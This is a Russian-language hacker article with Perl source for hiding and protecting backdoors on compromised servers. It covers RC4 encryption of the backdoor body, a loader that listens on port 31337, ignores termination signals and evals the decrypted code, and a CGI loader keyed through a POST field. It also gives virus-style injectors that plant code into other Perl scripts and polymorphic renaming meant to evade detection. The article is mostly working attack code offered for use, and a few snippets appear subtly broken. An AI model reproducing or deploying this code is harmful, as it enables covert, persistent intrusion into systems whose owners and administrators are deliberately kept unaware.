![]() |
||
---|---|---|
Как в настоящее время защищенны обычные бэкдоры в системах? Обычно никак. Максимум что используется это пароли. В некоторых случаях используются хэши паролей - для этого используют MD5 или стандартную функцию crypt. Этот подход имеет свои минусы и плюсы. Давайте их рассмотрим:
В качестве решения одновременно по авторизации пользователя и защите скрипта от посягательств возможно зашифровать основное тело скрипта. Таким образом бэкдор распадается на 2 части - первая часть принимает ключ от пользователя и расшифровывает им вторую - наиболее важную часть скрипта. Если ключ правильный - то вторая часть запускается на исполнение и мы имеем полноценный бэкдор в системе. Parth I. Выбор шифра На самом деле задача выбора шифра довольно сложна - надо выбрать алгоритм шифрования максимально простой, быстрый и надёжный, учитывая при этом что любители классического xor идут нах ;) Наш выбор - алгоритм RC4 - поточный алгоритм с переменным размером ключа. Есстесвенно исходя из различных условий следует выбирать различные алгоритмы - однако если вам противостоит среднестатический администратор - значит RC4 идеально подойдёт. Рассмотрим подробнее работу данного шифра. В алгоритме используются 2 счётчика (обозначим их X и Y) с нулевыми начальными значениями и блок замены (S-блок) размером 8*8. Для генерации одного байта гаммы применяются следущие операции (обозначим через S[i] содержимое i-ой ячейки S-блока):
$key = ключ; $data = текст, который нужно зашифровать / расшифровать; #функция для перестановки S[X] и S[Y] sub S{ @s[$x,$y]=@s[$y,$x] } @k=unpack"C*",pack"H*",$key; #инициализация S-блока $x=$y=0; for(@t=@s=0..255){ ($y+=$k[$_%@k]+$s[$x=$_])%=256; &S } $x=$y=0; #шифрование $l=0; ($y+=$s[($x+=1)%=256])%=256,&S,vec($data,$l++,8)^=$s[($s[$x]+$s[$y])%256] while $l<length ($data); Немного истории:
Parth II. Готовим бэкдор. Теперь нам необходим скрипт, который будет готовить бэкдоры, шифруя их тело. Для проверки правильности первоначально расчитаем контрольную сумму шифруемого скрипта и так же сохраним её. #!/bin/perl # bdrc4.pl use integer; # step 0 # init data $file = "bd.pl"; $sample_file = "startbd"; $key = "123abcdefQWERT"; # step 1 # read file open (FILE, "$file") || die "Cannot open file"; while (<FILE>) { $data .= $_; } close FILE; #remove some shits $data =~ s/([^\$])#([^\n])*//g; $data =~ s/(\n)*\n/\n/g; # step 2 # calculate checksumm $crc = &CRC32($data); # step 3 # generate chypertext sub S{ @s[$x,$y]=@s[$y,$x] } @k=unpack"C*",pack"H*",$key; $x=$y=0; for(@t=@s=0..255){ ($y+=$k[$_%@k]+$s[$x=$_])%=256; &S } $x=$y=0; $l=0; ($y+=$s[($x+=1)%=256])%=256,&S,vec($data,$l++,8)^=$s[($s[$x]+$s[$y])%256] while $l<length ($data); $data = unpack "h*", $data; # step 4 # save &SaveFile ($sample_file, $data, $crc); Более полный текст модуля с функциями SaveFile и CRC32 можно найти в архиве к статье. Итак что же делает данный скрипт? Вначале нам необходимо задать кое какие входные данные: $file = "bd.pl"; # оригинальный текст бэкдора, который мы будем шифровать $sample_file = "startbd"; # файл шаблон для скрипта, расшифровывающего бэкдор $key = "123abcdefQWERT"; # ключ для шифрования После этого мы считываем оригинальный текст из файла который нам необходимо зашифровать, удаляем в нём строки комментариев и пустые (для уменьшения размера), считаем контрольную сумму, шифруем и при помощи функции SaveFile записываем зашифрованный скрипт и контрольную сумму в файл-шаблон. Parth III. Запуск бэкдора Теперь рассмотрим работу шаблона для расшифровки нашего бэкдора - очевидно что это должен быть какой-то самостоятельный скрипт, который тем или иным способом получает данные, расшифровывает скрипт, сверяет контрольную сумму и, в случае совпадения запускает скрипт на исполнение. Учитывая наш довольно комактный алгоритм шифрования можно разместить текст бэкдора например в движке форума - благо мест там достаточно и длдя расшифровки использовать например название темы (в случае несовпадения CRC просто добавлять тему, а в сучае удачной расшифровки запускать бэкдор). Можно написать скрипт для запуска через Web - используя для передачи данных туннелинг в HTTP. Хочется предостеречь от передачи пароля стандартным для некоторых бэкдоров методом GET - все эти данные логгятся и поэтому лучше использовать что-нибудь менее приметное. И наконец ещё одно решение - это будет другой бекдор -те скрипт, который открывает какой-то порт, ждёт подключения - принимает пароль и пытается расшифровать оригинальный текст бэкдора. Для начала и рассмотрим 3-й метод. Займёмся написанием своего бэкдора... #!/usr/bin/perl # startbd use Socket; use integer; $port= 31337; # порт на котором будем ожидать подключений $proto= getprotobyname('tcp'); $data=qq~data1~; #зашифрованный скрипт $crc="data2"; # контрольная сумма скрипта $data = pack "h*", $data; # открываем сокет и начинаем прослушивать socket(SERVER, PF_INET, SOCK_STREAM, $proto)or die &error(); setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or die &error(); bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die &error(); listen(SERVER, SOMAXCONN)or die &error(); # игнорим возможные попытки прервать наш скрипт $SIG{'INT'}=$SIG{'HUP'}=$SIG{'TERM'}=$SIG{'CHLD'}='IGNORE'; # если запуск под *nix системой - тогда переходим работать в фон if ($^O ne "MSWin32"){ use POSIX 'setsid'; die &exit() unless defined (my $child = fork); exit 0 if $child; setsid (); open (STDIN, "</dev/null"); open (STDOUT, ">/dev/null"); open (STDERR, ">&STDOUT"); } while (1) { # принимаем входящее соединение next unless my $remote_addr=accept(SESSION,SERVER); # считываем по одному символу while(1){ my $s; $bytes = read (SESSION, $s, 1); if ($s eq "\r" or $s eq "\n"){ last; } $key .= $s; } # пытаемся расшифровать, используя полученный ключ $sdata = $data; $x=$y=0; @k=unpack"C*",pack"H*",$key; for(@t=@s=0..255){ ($y+=$k[$_%@k]+$s[$x=$_])%=256; &S } $x=$y=$l=0; ($y+=$s[($x+=1)%=256])%=256,&S,vec($sdata,$l++,8)^=$s[($s[$x]+$s[$y])%256] while $l<length ($data); # считаем CRC32 того что расшифровали $crc1 = &CRC32 ($sdata); if ($crc1 ne $crc) { # облажались - говорим досвидания print SESSION "shit"; $key = ""; } else{ # всё нормально - вырубаемся и передаём управление дочернему скрипту close SESSION; eval ($sdata); last; } close SESSION; } Полный текст этого скрипта так же можно найти в архиве. Path IV. Вирусы Другой метод, который мы рассмотрим восходит своими корнями в вирмейкерство. Мы будем внедрять свой код в чужие скрипты. В идеале это нужно делать руками -что бы всё было красиво и как полагается... однако мы напишем некое подобие вируса, который заражает файл текстом бэкдора. Итак прежде всего нам необходимо рассмотреть возможности вирусов на языке Perl - ведь и заражать мы будем pl файлы. Итак какие существуют варианты вирусов (из тех что мне встречались):
На самом деле наиболее безопасным является использование куков и / или данных POST. Всё очень просто данные передающиеся с помощью метода GET, через QUERY_STRING попадают в логи на любом веб сервере, так же как и другие основные заголовки HTTP протокола (User-Agent, Referer, Accept-language, etc). Конечно можно добавить свой заголовок - но этом омжет вызвать какие-либо подозрения при анализе трафика. Поэтому лучше всего скрыть свои данные в легальном потоке. Как уже отмечалось выше если вы знаете какие данные получает скрипт - то лучше использовать именно эти данные для передачи пароля - это может быть и специальная строка для поиска, заголовок темы, или специально сформированный email адрес...да мало ли чего. $data=qq~data1~; $crc="data2"; $data = pack "h*", $data; # прочитаем данные, переданные через POST запрос read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); @pairs = split(/&/, $buffer); foreach $pair (@pairs) { ($name, $value) = split(/=/, $pair); $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $input{$name} = $value; } # если существует поле theme - в нёым передаётся ключ if ($input{'theme'} ne ''){ # расшифровываем $x=$y=0; @k=unpack"C*",pack"H*",$input{'theme'}; for(@t=@s=0..255){ ($y+=$k[$_%@k]+$s[$x=$_])%=256; &S } $x=$y=$l=0; ($y+=$s[($x+=1)%=256])%=256,&S,vec($data,$l++,8)^=$s[($s[$x]+$s[$y])%256] while $l<length ($data); $crc1 = &CRC32 ($data); # сравниваем CRC if ($crc1 ne $crc) { # ошибка - либо ничего не делаем # либо посылаем пользователю какое-нить уведомление... print "HTTP/1.0 302 Found\n"; print "Location: wrong_password.pl\n\n"; exit; } else{ # всё ок - в качестве альтернативы можно вызвать exit # для выхода после eval eval ($data); } } ... Теперь рассмотрим сам процесс внедрения - напишем последовательно различные варианты скрипта для внедрения нашего кода. Первый вариант - мы внедряем функцию в конец скрипта, и добавляем в начало её вызов. Те поражённый скрипт будет выглядеть таким образом: #!usr/bin/perl &OurSub; [Main Script] sub OurSub{ ..... } Это довольно просто:
Следующий метод внедрения - ещё более простой - мы просто внедрим в случайное место файла блок BEGIN - он всегда выполняется в первую очередь, поэтому ваш код получит управление первым - нас даже не должно волновать куда мы попадём - мы можем реально воткнуться в случайное место файла - в любую функцию, цикл или условие if/else... open (FILE, "$file") || die "Cannot open file"; @data = <FILE>; close FILE; # выводим сообщение и выходим - реальная часть скрипта никогда не получит управление $injection_code = "BEGIN { print \"Yo-ho-ho busters, you script will never run\"; exit; }"; # выбираем случайную строку для размещения нашего кода $injection_start = int (rand ($#data)); # флажок - что мы уже внедрили код $injection_complete = 0; open (FILE, ">$file"); $i = 0; foreach $line (@data) { # проверим что мы находимся на нужной строчке и это строка кода: if ($i == $injection_start && $line =~ /;/ && !$injection_complete && !($line =~ /#/)) { $line = "$injection_code\n$line"; $injection_complete = 1; } elsif ($i == $injection_start && !$injection_complete){ # мы оказались не на строке кода - увеличим счётчик $injection_start ++; } print FILE "$line"; $i ++; } # если мы всё таки не внедрились - добавим себя в конец файла. if (!$injection_complete) print FILE "$injection_code"; close(FILE); Следующи вариант - использование сигналов - мы можем установить обработчики различных сигналов. Наиболее интересной техникой мне кажется обработка функций warn и die. Для этого необходимо установить 2 специальных значения хэша SIG: $SIG{__DIE__} = \&our_sub; $SIG{__WARN__} = \&our_sub; sub our_sub{ .... } Теперь когда в исходном скрипте будет вызванна функция die или warn - то усправление передаться на наш код. Таким образом мы можем специально вызвать (внешними данными) в скрипте исключение для выполнения кода. Ещё одной неожиданной мыслью может стать установка сигнала в именно момент исключения: die $SIG{__DIE__} = \&check_this_out; И напоследок - изменение кода какой-либо функции в скрипте. Для начала скрипт собирает имена всех функций в файле, после этого случайным образом выбирается одна из них и в её тело внедряется код. open (FILE, "$file") || die "Cannot open file"; @data = <FILE>; close FILE; $injection_code = " print \"Hello fucking world!\""; $i = 0; # счётчик строк $badline = 0; # строка на которой встретим exit foreach $line (@data) { $d .= $line; # собираем весь текст файла по ходу дела в одну переменную chomp($line); # составляем хэш, содержащий имена функций: if ($line=~ /sub ([ \t]*)(([^{\n])*)/) { # сохраняем имя функции и строку на которой # встречается её описание $sublist{$2} = $i; } $i ++; } # случайным образом выбираем процедуру $i = keys %sublist; $sub = int(rand($i-1))+1; $i= 0; # перебираем все функци в хэше: foreach $key(sort keys %sublist) { if ($i == $sub) { # нашли функцию на которую пал выбор # wanna debug ? #print "Found :$key"; # увеличиваем номер строки, пока не встретим { # что бы попасть чётко в тело функции, а не в # промежуток между названием и { while ($file[$sublist{$key}+1] =~ /{/) { $sublist{$key} ++; } $x = $d; $d = ""; # теперь надо проверить есть ли в # тексте вызов ннашей функции # для этого удалим из текста файла # описания всех всех процедур # поищем в оставшемся куске вызов # если вызов не найден - то определи строку # в которой первый раз встречается exit # и внедримся случайно перед этой строкой # сначала изничтожаем из текста файла # комментарии # хэши # описания процедур в одну строку $x =~ s/([^\$])#([^\n])*//gm; $x =~ s/\$(\S+)*([ \t])*\{([^\})])*\}//gm; $x =~ s/\bsub\b([^\{])*\{/sub {/gm; $x =~ s/sub([^\{\n])*{([^\}\n])*}//gm; $count = -1; $i = 0; for my $line (split(/\n/,$x)) { if($line=~/\bsub\b/) { $count = 0; } if ($count >= 0) { $line=~s/{/($count++)/ee; $line=~s/}/($count--)/ee; } $count=-1 if (!$count && !($line =~ /\}/)); if ($count==-1){ $d.="$line\n"; if ($line=~ /exit/ && $badline == 0) { $badline = $i; } } $i ++; } # теперь в $d у нас содержиться тест файла без описания функций, # а в $badline первая строка где встречается вызов exit if ($d =~ /die([ \t]*)$key\b/) { # данная функиця используется в сочетании с die # возможно стоит это как обработать # а может и нет =)) } else{ if ($d =~ /([ ]|[\&])$key([\(]|[;]|[,]|[ ]|[\n])/x) { # в тексте файла есть вызов данной функции - значит всё ок # скинем $badline $badline = -1; } } # сохраняем всё это чудо: open (FILE, ">$file"); if ($badline >= 0) { # если вызова нет и Exit не встречается # тогда надо случайно определить # строку куда мы вставимся: if (!$badline) { @lines = split (/\n/, $d); $badline =int (rand ($#lines)); } $sub = int (rand ($badline)); # добавляем вызов функции: $data[$sub] = "&$key;$data[$sub]"; } # сохраняем данные из файла: for ($j=0; $j<$sublist{$key}+1;$j++) { print FILE "$data[$j]\n"; } # внедряем код print FILE "$injection_code\n"; # дописываем остаток файла for ($j=$sublist{$key}+1; $j<=$#data;$j++) { print FILE "$data[$j]\n"; } close(FILE); last; } $i ++; } Естественно что эта техника больше подходит вирусам чем бэкдорам - ведь нет гарантии что скрипт обязательно вызовет функцию в код которой мы внедрились....
Parth V. Простой полиморфизм Что бы как нибудь защитить скрипт от анализа и определения можно добавить немного полиморфизма. Самый простой вариант - изменить имена переменных (и/или функций). При чём для большего эффекта можно изменять имена переменных не только своего скрипта, но скрипта куда производится внедрение. Производится всё это довольно просто - собираем имена всех переменных и с помощью рег экспов заменим их случайными выражениями: # в переменной $x находится тело скрипта: for my $line (split(/\n/,$x)) { # выдираем имена переменных: if ($line =~ /[^\\]\$([^ \t\;\{#_\"\(\)<>=\\\/\.\,\[\]\|\&\'\+\-\*])*/ ) { $v = $&; # проверим что б это было не $1 и тп: if (($v ne '$') && !($v =~ /\$[1-9]/)) { # удалим символ $ $v =~ s/\$//; # составим хэш вида: # varlist {старое имя переменной} = новое имя переменной # новое имя состоит из случайной буквы и цифры $varlist {$v} = chr (int (rand (25)+65)); $varlist {$v} .= int (rand (65535)); } } } # пройдёмся по всем элементам хэша foreach $v(sort keys %varlist) { # заменим значения $, $# и @ на случайные : $x =~ s/\$$v\b/\$$varlist{$v}/gim; $x =~ s/\$\#$v\b/\$\#$varlist{$v}/gim; $x =~ s/\@$v\b/\@$varlist{$v}/gim; } Конечно такой полиморфизм идеальным не назовёшь (да и вообще у меня большие сомнения в необходимости полиморфизма такого рода в этих скриптах) - но всё же что-то лучше чем ничего. Outro Вот и всё - теперь никто кроме вас не только не сможет использовать ваши бэкдоры, но и понимать что они делают. Естественно что это ещё не предел совершенства - данный скрипт уязвим к man-in-the-middle атакам так что ваш пароль могут соснифать - но с другой стороны для запуска бэкдора вам не нужно ничего кроме telnet'а или браузера - это часто тоже немаловажный плюс. Во второй части статьи как раз и будет рассмотренно как организовать безопасный канал для передачи пароля - однако прежде чем его использовать следует подумать - а оно вам надо ? ;) А теперь как и обещалось RC4 in 4 lines of Perl ;) #!/bin/perl -0777p-- export-a-crypto-system-sig -RC4-in-3-lines-of-perl use integer;BEGIN{sub S{@s[$x,$y]=@s[$y,$x]}@k=unpack"C*",pack"H*",shift@ARGV; for(@t=@s=0..255){($y+=$k[$_%@k]+$s[$x=$_])%=256;&S}$x=$y=0}$l=0;($y+=$s[($x+= 1)%=256])%=256,&S,vec($_,$l++,8)^=$s[($s[$x]+$s[$y])%256]while$l<length Хотя автор и написал что скрипт в 3 строки, всё же без первой из 4-х скрипт работать не будет - так что всё таки 4 строки. Ипользовать этот скрипт таким образом: echo hello world | rc4 my_key > test.rc4 Have fun ;) Думаю что код на С вам самим по силам - но при желании его так же можно найти в инете.... Some links:
|
||
by said |
||